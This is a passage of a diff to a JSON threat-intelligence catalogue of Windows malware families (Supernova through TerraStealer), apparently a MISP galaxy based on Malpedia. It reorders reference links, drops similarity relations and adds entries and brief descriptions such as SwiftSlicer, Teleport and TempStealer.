"https://www.splunk.com/en_us/blog/security/supernova-redux-with-a-generous-portion-of-masquerading.html", + "https://www.secureworks.com/blog/supernova-web-shell-deployment-linked-to-spiral-threat-group", + "https://us-cert.cisa.gov/ncas/alerts/aa21-008a", + "https://unit42.paloaltonetworks.com/solarstorm-supernova/", + "https://www.trendmicro.com/en_us/research/20/l/overview-of-recent-sunburst-targeted-attacks.html", "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://labs.sentinelone.com/solarwinds-understanding-detecting-the-supernova-webshell-trojan/" + "https://www.sentinelone.com/labs/solarwinds-understanding-detecting-the-supernova-webshell-trojan", + "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/", + "https://www.anquanke.com/post/id/226029", + "https://www.solarwinds.com/securityadvisory" ], "synonyms": [], "type": [] @@ -43830,11 +46184,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.suppobox", - "https://media.blackhat.com/us-13/US-13-Geffner-End-To-End-Analysis-of-a-Domain-Generating-Algorithm-Malware-Family-WP.pdf", - "https://www.justice.gov/opa/pr/two-romanian-cybercriminals-convicted-all-21-counts-relating-infecting-over-400000-victim", "https://www.symantec.com/connect/blogs/trojanbayrob-strikes-again-1", + "https://www.justice.gov/opa/pr/two-romanian-cybercriminals-convicted-all-21-counts-relating-infecting-over-400000-victim", "https://www.symantec.com/connect/blogs/bayrob-three-suspects-extradited-face-charges-us", - "https://paper.bobylive.com/Meeting_Papers/BlackHat/USA-2013/US-13-Geffner-End-To-End-Analysis-of-a-Domain-Generating-Algorithm-Malware-Family-WP.pdf" + "https://paper.bobylive.com/Meeting_Papers/BlackHat/USA-2013/US-13-Geffner-End-To-End-Analysis-of-a-Domain-Generating-Algorithm-Malware-Family-WP.pdf", + "https://media.blackhat.com/us-13/US-13-Geffner-End-To-End-Analysis-of-a-Domain-Generating-Algorithm-Malware-Family-WP.pdf" ], "synonyms": [ "Bayrob", @@ -43855,15 +46209,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "dd919e75-57e8-4e5c-9451-8be6e734f1f3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "8666afcc-8cc2-4856-83de-b7e8b4309367", "value": "surtr" }, @@ -43872,8 +46217,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.svcready", - "https://www.socinvestigation.com/new-svcready-malware-loads-from-word-doc-properties-detection-response/", - "https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/" + "https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/", + "https://www.socinvestigation.com/new-svcready-malware-loads-from-word-doc-properties-detection-response/" ], "synonyms": [], "type": [] @@ -43894,6 +46239,23 @@ "uuid": "63657a3b-1f8f-422d-80de-fe4644f5d7ba", "value": "swen" }, + { + "description": "According to ESET, this is a wiper written in Go, that was deployed against an Ukrainian organization on January 25th 2023 through Group Policy, which suggests that the attackers had taken control of the victim’s Active Directory environment.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.swiftslicer", + "https://www.welivesecurity.com/2023/01/27/swiftslicer-new-destructive-wiper-malware-ukraine/", + "https://www.microsoft.com/en-us/security/business/security-insider/wp-content/uploads/2023/03/A-year-of-Russian-hybrid-warfare-in-Ukraine_MS-Threat-Intelligence-1.pdf", + "https://twitter.com/ESETresearch/status/1618960022150729728" + ], + "synonyms": [ + "JaguarBlade" + ], + "type": [] + }, + "uuid": "dba43d45-053f-4225-b813-ff7727b2b7d2", + "value": "SwiftSlicer" + }, { "description": "", "meta": { @@ -43904,15 +46266,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "96fb29fa-7c3a-4124-baf5-cc5f99b2a05f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "2112870f-06f1-44a9-9c43-6cc4fb90e295", "value": "Sword" }, @@ -43921,13 +46274,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sykipot", + "https://www.symantec.com/connect/blogs/sykipot-attacks", "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", "https://documents.trendmicro.com/assets/wp/wp-detecting-apt-activity-with-network-traffic-analysis.pdf", + "https://www.secureworks.com/research/threat-profiles/bronze-edison", "https://www.alienvault.com/blogs/labs-research/sykipot-is-back", "https://community.rsa.com/thread/185437", - "https://blog.trendmicro.com/trendlabs-security-intelligence/sykipot-now-targeting-us-civil-aviation-sector-information/", - "https://www.secureworks.com/research/threat-profiles/bronze-edison", - "https://www.symantec.com/connect/blogs/sykipot-attacks" + "https://blog.trendmicro.com/trendlabs-security-intelligence/sykipot-now-targeting-us-civil-aviation-sector-information/" ], "synonyms": [ "Wkysol", @@ -43943,8 +46296,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.synack", - "https://therecord.media/synack-ransomware-gang-releases-decryption-keys-for-old-victims/", - "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/" + "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/", + "https://therecord.media/synack-ransomware-gang-releases-decryption-keys-for-old-victims/" ], "synonyms": [], "type": [] @@ -43995,9 +46348,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sys10", + "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/TheNaikonAPT-MsnMM1.pdf", "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf", - "https://securelist.com/analysis/publications/69953/the-naikon-apt/", - "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/TheNaikonAPT-MsnMM1.pdf" + "https://securelist.com/analysis/publications/69953/the-naikon-apt/" ], "synonyms": [], "type": [] @@ -44010,9 +46363,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.syscon", + "http://blog.trendmicro.com/trendlabs-security-intelligence/syscon-backdoor-uses-ftp-as-a-cc-channel/", "https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/", - "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/", - "http://blog.trendmicro.com/trendlabs-security-intelligence/syscon-backdoor-uses-ftp-as-a-cc-channel/" + "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" ], "synonyms": [], "type": [] @@ -44035,13 +46388,13 @@ "value": "SysGet" }, { - "description": "", + "description": "Sysjoker is a backdoor malware that was first discovered in December 2021 by Intezer. It is sophisticated and written from scratch in C++. Sysjoker is a cross-platform malware that has Linux, Windows, and macOS variants. Possible attack vectors for Sysjoker are email attachments, malicious advertisements, and trojanized software.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sysjoker", + "https://blogs.vmware.com/security/2022/03/%e2%80%afsysjoker-an-analysis-of-a-multi-os-rat.html", "https://www.intezer.com/blog/malware-analysis/new-backdoor-sysjoker/", - "https://www.bleepingcomputer.com/news/security/new-sysjoker-backdoor-targets-windows-macos-and-linux/", - "https://blogs.vmware.com/security/2022/03/%e2%80%afsysjoker-an-analysis-of-a-multi-os-rat.html" + "https://www.bleepingcomputer.com/news/security/new-sysjoker-backdoor-targets-windows-macos-and-linux/" ], "synonyms": [], "type": [] @@ -44055,8 +46408,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.syskit", "https://twitter.com/QW5kcmV3/status/1176861114535165952", - "https://www.darkreading.com/threat-intelligence/iranian-government-hackers-target-us-veterans/d/d-id/1335897", "https://www.proofpoint.com/us/blog/threat-insight/i-knew-you-were-trouble-ta456-targets-defense-contractor-alluring-social-media", + "https://www.darkreading.com/threat-intelligence/iranian-government-hackers-target-us-veterans/d/d-id/1335897", "https://about.fb.com/news/2021/07/taking-action-against-hackers-in-iran/", "https://www.symantec.com/blogs/threat-intelligence/tortoiseshell-apt-supply-chain", "https://blog.talosintelligence.com/2019/09/tortoiseshell-fake-veterans.html" @@ -44117,25 +46470,29 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.systembc", - "https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/", - "https://news.sophos.com/en-us/2020/12/16/systembc/", "https://blog.reversinglabs.com/blog/code-reuse-across-packers-and-dll-loaders", - "https://isc.sans.edu/forums/diary/Excel+spreadsheets+push+SystemBC+malware/27060/", - "https://news.sophos.com/en-us/2021/04/21/nearly-half-of-malware-now-use-tls-to-conceal-communications/", "https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html", - "https://asec.ahnlab.com/en/33600/", - "https://www.bitsight.com/blog/emotet-botnet-rises-again", - "https://medium.com/walmartglobaltech/inside-the-systembc-malware-as-a-service-9aa03afd09c6", "https://www.intel471.com/blog/Cobalt-strike-cybercriminals-trickbot-qbot-hancitor", - "https://labs.f-secure.com/blog/prelude-to-ransomware-systembc/", "https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-249a", - "https://www.bitsight.com/blog/systembc-multipurpose-proxy-bot-still-breathes", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://news.sophos.com/en-us/2021/04/21/nearly-half-of-malware-now-use-tls-to-conceal-communications/", "https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis", - "https://www.mandiant.com/resources/chasing-avaddon-ransomware", "https://www.proofpoint.com/us/threat-insight/post/systembc-christmas-july-socks5-malware-and-exploit-kits", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/" + "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", + "https://labs.f-secure.com/blog/prelude-to-ransomware-systembc/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.bitsight.com/blog/emotet-botnet-rises-again", + "https://news.sophos.com/en-us/2020/12/16/systembc/", + "https://community.riskiq.com/article/47766fbd", + "https://www.bitsight.com/blog/systembc-multipurpose-proxy-bot-still-breathes", + "https://www.mandiant.com/resources/chasing-avaddon-ransomware", + "https://medium.com/walmartglobaltech/inside-the-systembc-malware-as-a-service-9aa03afd09c6", + "https://www.kroll.com/en/insights/publications/cyber/black-basta-technical-analysis", + "https://isc.sans.edu/forums/diary/Excel+spreadsheets+push+SystemBC+malware/27060/", + "https://asec.ahnlab.com/en/33600/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", + "https://www.intrinsec.com/proxynotshell-owassrf-merry-xchange/", + "https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-249a" ], "synonyms": [ "Coroxy" @@ -44150,10 +46507,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.szribi", - 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"https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", - "https://www.fireeye.com/blog/threat-research/2013/09/evasive-tactics-taidoor-3.html", - "https://documents.trendmicro.com/assets/wp/wp-detecting-apt-activity-with-network-traffic-analysis.pdf", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a", "https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf", + "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", + "https://documents.trendmicro.com/assets/wp/wp-detecting-apt-activity-with-network-traffic-analysis.pdf", + "https://www.fireeye.com/blog/threat-research/2013/09/evasive-tactics-taidoor-3.html", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a", "https://blog.reversinglabs.com/blog/taidoor-a-truly-persistent-threat", - "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf", "https://www.macnica.net/file/mpressioncss_ta_report_2019.pdf", "http://contagiodump.blogspot.com/2011/10/sep-28-cve-2010-3333-manuscript-with.html", + "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf", "https://www.nttsecurity.com/docs/librariesprovider3/resources/taidoor%E3%82%92%E7%94%A8%E3%81%84%E3%81%9F%E6%A8%99%E7%9A%84%E5%9E%8B%E6%94%BB%E6%92%83%E8%A7%A3%E6%9E%90%E3%83%AC%E3%83%9D%E3%83%BC%E3%83%88_v1" ], "synonyms": [ @@ -44204,15 +46552,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "cda7d605-23d0-4f93-a585-1276f094c04a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "94323b32-9566-450b-8480-5f9f53b57948", "value": "taidoor" }, @@ -44235,8 +46574,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.taleret", - "http://contagioexchange.blogspot.com/2013/08/taleret-strings-apt-1.html", - "https://www.fireeye.com/blog/threat-research/2013/09/evasive-tactics-taidoor-3.html" + "https://www.fireeye.com/blog/threat-research/2013/09/evasive-tactics-taidoor-3.html", + "http://contagioexchange.blogspot.com/2013/08/taleret-strings-apt-1.html" ], "synonyms": [], "type": [] @@ -44265,15 +46604,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "b7b4c682-090b-4da2-abc2-541fd3157579", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "71e77349-98f5-49c6-bff7-6ed3b3d79410", "value": "Tapaoux" }, @@ -44282,12 +46612,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.targetcompany", - "https://decoded.avast.io/threatresearch/decrypted-targetcompany-ransomware/", "https://www.bleepingcomputer.com/news/security/free-decryptor-released-for-targetcompany-ransomware-victims/", + "https://decoded.avast.io/threatresearch/decrypted-targetcompany-ransomware/", + "https://securityaffairs.co/wordpress/127761/malware/targetcompany-ransomware-decryptor.html", + "https://www.sangfor.com/blog/cybersecurity/new-threat-mallox-ransomware", "https://id-ransomware.blogspot.com/2021/06/tohnichi-ransomware.html", - "https://securityaffairs.co/wordpress/127761/malware/targetcompany-ransomware-decryptor.html" + "https://blog.cyble.com/2022/12/08/mallox-ransomware-showing-signs-of-increased-activity/", + "https://asec.ahnlab.com/en/39152/" ], "synonyms": [ + "Fargo", + "Mallox", "Tohnichi" ], "type": [] @@ -44313,12 +46648,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.taurus_stealer", - "https://www.zscaler.com/blogs/research/taurus-new-stealer-town", - "https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf", + "https://blog.minerva-labs.com/taurus-stealers-evolution", + "https://www.aon.com/cyber-solutions/aon_cyber_labs/agentvx-and-taurus/", "https://blog.morphisec.com/google-ppc-ads-deliver-redline-taurus-and-mini-redline-infostealers", "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/an-in-depth-analysis-of-the-new-taurus-stealer/", - "https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/UnknownTA/2020-09-07/Analysis.md", - "https://blog.minerva-labs.com/taurus-stealers-evolution" + "https://www.zscaler.com/blogs/research/taurus-new-stealer-town", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf", + "https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/UnknownTA/2020-09-07/Analysis.md" ], "synonyms": [], "type": [] @@ -44342,13 +46678,14 @@ "value": "TClient" }, { - "description": "", + "description": "F-Secure described tDiscoverer (also known as HammerDuke) as interesting because it is written in .NET, and even more so because of its occasional use of Twitter as a C&C communication channel. Some HammerDuke variants only contain a hardcoded C&C server address from which they will retrieve commands, but other HammerDuke variants will first use a custom algorithm to generate a Twitter account name based on the current date. If the account exists, HammerDuke will then search for tweets from that account with links to image files that contain embedded commands for the toolset to execute.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tdiscoverer", + "https://securityintelligence.com/hammertoss-what-me-worry/", "https://www.youtube.com/watch?v=UE9suwyuic8", - "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf", - "https://securityintelligence.com/hammertoss-what-me-worry/" + "https://mrtiepolo.medium.com/sophisticated-apt29-campaign-abuses-notion-api-to-target-the-european-commission-200188059f58", + "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf" ], "synonyms": [ "HAMMERTOSS", @@ -44393,9 +46730,10 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.teamspy", "https://thedfirreport.com/2020/04/24/ursnif-via-lolbins/", - "https://www.cyber.nj.gov/threat-center/threat-profiles/trojan-variants/spy-agent", + "https://www.deepinstinct.com/blog/the-russian-spyagent-a-decade-later-and-rat-tools-remain-at-risk", + "https://blog.trendmicro.com/trendlabs-security-intelligence/unsupported-teamviewer-versions-exploited-backdoors-keylogging", "https://blog.avast.com/a-deeper-look-into-malware-abusing-teamviewer", - "https://blog.trendmicro.com/trendlabs-security-intelligence/unsupported-teamviewer-versions-exploited-backdoors-keylogging" + "https://www.cyber.nj.gov/threat-center/threat-profiles/trojan-variants/spy-agent" ], "synonyms": [ "TVRAT", @@ -44412,51 +46750,42 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.teardrop", - "https://www.fortinet.com/blog/threat-research/what-we-have-learned-so-far-about-the-sunburst-solarwinds-hack", + "https://medium.com/mitre-attack/identifying-unc2452-related-techniques-9f7b6c7f3714", + "https://blog.bushidotoken.net/2022/07/space-invaders-cyber-threats-that-are.html", "https://www.brighttalk.com/webcast/7451/462719", - "https://symantec.broadcom.com/hubfs/Attacks-Against-Government-Sector.pdf", + "https://github.com/fireeye/sunburst_countermeasures", "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/", - "https://research.checkpoint.com/2020/sunburst-teardrop-and-the-netsec-new-normal/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", - "https://www.mandiant.com/resources/unc2452-merged-into-apt29", + "https://msrc-blog.microsoft.com/2020/12/21/december-21st-2020-solorigate-resource-center/", + "https://unit42.paloaltonetworks.com/solarstorm-supply-chain-attack-timeline", + "https://twitter.com/TheEnergyStory/status/1346096298311741440", + "https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/sunburst-supply-chain-attack-solarwinds", + "https://symantec.broadcom.com/hubfs/Attacks-Against-Government-Sector.pdf", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-039b", "https://twitter.com/craiu/status/1339954817247158272", "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", - "https://blog.bushidotoken.net/2022/07/space-invaders-cyber-threats-that-are.html", - "https://msrc-blog.microsoft.com/2020/12/21/december-21st-2020-solorigate-resource-center/", - "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware", - "https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/", - "https://github.com/fireeye/sunburst_countermeasures", - "https://medium.com/mitre-attack/identifying-unc2452-related-techniques-9f7b6c7f3714", - "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", - "https://orangematter.solarwinds.com/2021/01/11/new-findings-from-our-investigation-of-sunburst/", - "https://unit42.paloaltonetworks.com/atoms/solarphoenix/", - "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/", - "https://unit42.paloaltonetworks.com/solarstorm-supply-chain-attack-timeline", - "https://file2.api.drift.com/download/drift-prod-file-uploads/417f%2F417f74ae8ddd24aa7c2b43a23093983f/Supply%20Chain%20Attacks_%20Cyber%20Criminals%20Target%20the%20Weakest%20Link.pdf", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/sunburst-supply-chain-attack-solarwinds", - "https://www.accenture.com/us-en/blogs/cyber-defense/threat-intel-takeaways-solarigate", - "https://blog.talosintelligence.com/2020/12/solarwinds-supplychain-coverage.html#more", - "https://www.sans.org/webcasts/contrarian-view-solarwinds-119515", "https://www.youtube.com/watch?v=LA-XE5Jy2kU", "https://blog.securehat.co.uk/malware-analysis/extracting-the-cobalt-strike-config-from-a-teardrop-loader", + "https://www.sans.org/webcasts/contrarian-view-solarwinds-119515", + "https://www.fortinet.com/blog/threat-research/what-we-have-learned-so-far-about-the-sunburst-solarwinds-hack", "https://www.youtube.com/watch?v=GfbxHy6xnbA", - "https://twitter.com/TheEnergyStory/status/1346096298311741440", + "https://file2.api.drift.com/download/drift-prod-file-uploads/417f%2F417f74ae8ddd24aa7c2b43a23093983f/Supply%20Chain%20Attacks_%20Cyber%20Criminals%20Target%20the%20Weakest%20Link.pdf", + "https://www.accenture.com/us-en/blogs/cyber-defense/threat-intel-takeaways-solarigate", + "https://research.checkpoint.com/2020/sunburst-teardrop-and-the-netsec-new-normal/", + "https://blog.talosintelligence.com/2020/12/solarwinds-supplychain-coverage.html#more", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/", "https://twitter.com/TheEnergyStory/status/1342041055563313152", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-039b" + "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware", + "https://unit42.paloaltonetworks.com/atoms/solarphoenix/", + "https://www.mandiant.com/resources/unc2452-merged-into-apt29", + "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "https://orangematter.solarwinds.com/2021/01/11/new-findings-from-our-investigation-of-sunburst/" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "aba3fd7d-87cc-4266-82a1-d458ae299266", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "efa01fef-7faf-4bb2-8630-b3a237df882a", "value": "TEARDROP" }, @@ -44504,11 +46833,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.telebot", - "http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks", + "https://www.secureworks.com/research/threat-profiles/iron-viking", "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf", - "http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/", "https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine", - "https://www.secureworks.com/research/threat-profiles/iron-viking" + "http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/", + "http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks" ], "synonyms": [], "type": [] @@ -44521,9 +46850,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.teledoor", - "http://blog.talosintelligence.com/2017/07/the-medoc-connection.html", "https://www.secureworks.com/research/threat-profiles/iron-viking", - "https://www.welivesecurity.com/2017/07/04/analysis-of-telebots-cunning-backdoor/" + "https://www.welivesecurity.com/2017/07/04/analysis-of-telebots-cunning-backdoor/", + "http://blog.talosintelligence.com/2017/07/the-medoc-connection.html" ], "synonyms": [], "type": [] @@ -44544,13 +46873,39 @@ "uuid": "48352761-a92f-43b4-931d-249ac9eae8b2", "value": "TelegramGrabber" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.telemiris", + "https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "f39400a3-3b27-4dc6-bccd-aa277ca99f28", + "value": "Telemiris" + }, + { + "description": "Cisco Talos reports that this is a data exfiltration tool used by TA505.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.teleport", + "https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "b6a2a1ea-6cdb-4cbd-a9a6-539c7db1c6de", + "value": "Teleport" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tellyouthepass", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks", - "https://www.crowdstrike.com/blog/tellyouthepass-ransomware-analysis-reveals-modern-reinterpretation-using-golang/" + "https://www.crowdstrike.com/blog/tellyouthepass-ransomware-analysis-reveals-modern-reinterpretation-using-golang/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks" ], "synonyms": [], "type": [] @@ -44570,15 +46925,28 @@ "uuid": "26b2c2c0-036e-4e3a-a465-71a391046b74", "value": "Tempedreve" }, + { + "description": "According to Cyble, this is a stealer targeting several crypto currency wallets along browser data.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.temp_stealer", + "https://blog.cyble.com/2022/10/20/infostealer-distributed-using-bundled-installer/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "a27b7e55-6036-4c4a-96b2-0a99df878fe0", + "value": "TempStealer" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.terminator_rat", - "https://www.welivesecurity.com/wp-content/uploads/2014/01/Advanced-Persistent-Threats.pdf", - "https://malware.lu/assets/files/articles/RAP002_APT1_Technical_backstage.1.0.pdf", "https://documents.trendmicro.com/assets/wp/wp-fakem-rat.pdf", - "http://contagiodump.blogspot.com/2012/06/rat-samples-from-syrian-targeted.html" + "https://malware.lu/assets/files/articles/RAP002_APT1_Technical_backstage.1.0.pdf", + "http://contagiodump.blogspot.com/2012/06/rat-samples-from-syrian-targeted.html", + "https://www.welivesecurity.com/wp-content/uploads/2014/01/Advanced-Persistent-Threats.pdf" ], "synonyms": [ "Fakem RAT" @@ -44593,9 +46961,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.termite", - "https://www.alienvault.com/blogs/labs-research/internet-of-termites", + "https://threatrecon.nshc.net/2019/03/19/sectorm04-targeting-singapore-custom-malware-analysis/", "https://www.mandiant.com/resources/evolution-of-fin7", - "https://threatrecon.nshc.net/2019/03/19/sectorm04-targeting-singapore-custom-malware-analysis/" + "https://www.alienvault.com/blogs/labs-research/internet-of-termites" ], "synonyms": [], "type": [] @@ -44608,6 +46976,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.terrapreter", + "https://www.esentire.com/web-native-pages/unmasking-venom-spider", + "https://www.esentire.com/security-advisories/hackers-spearphish-professionals-on-linkedin-with-fake-job-offers-infecting-them-with-malware-warns-esentire", "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/" ], "synonyms": [], @@ -44622,8 +46992,11 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.terra_loader", "https://medium.com/walmartglobaltech/a-re-look-at-the-terraloader-dropper-dll-e5947ad6e244", - "https://quointelligence.eu/2020/07/golden-chickens-evolution-of-the-maas/", - "https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/Terraloader/2021-03-25/Analysis.md#terraloader--congrats-you-have-a-new-fake-job-" + "https://www.esentire.com/blog/hackers-spearphish-corporate-hiring-managers-with-poisoned-resumes-infecting-them-with-the-more-eggs-malware", + "https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/Terraloader/2021-03-25/Analysis.md#terraloader--congrats-you-have-a-new-fake-job-", + "https://www.esentire.com/web-native-pages/unmasking-venom-spider", + "https://www.esentire.com/security-advisories/hackers-spearphish-professionals-on-linkedin-with-fake-job-offers-infecting-them-with-malware-warns-esentire", + "https://quointelligence.eu/2020/07/golden-chickens-evolution-of-the-maas/" ], "synonyms": [], "type": [] @@ -44652,12 +47025,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.terra_stealer", - "https://github.com/eset/malware-ioc/tree/master/evilnum", - "https://quointelligence.eu/2020/07/golden-chickens-evolution-of-the-maas/", - "https://twitter.com/3xp0rtblog/status/1275746149719252992", - "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", 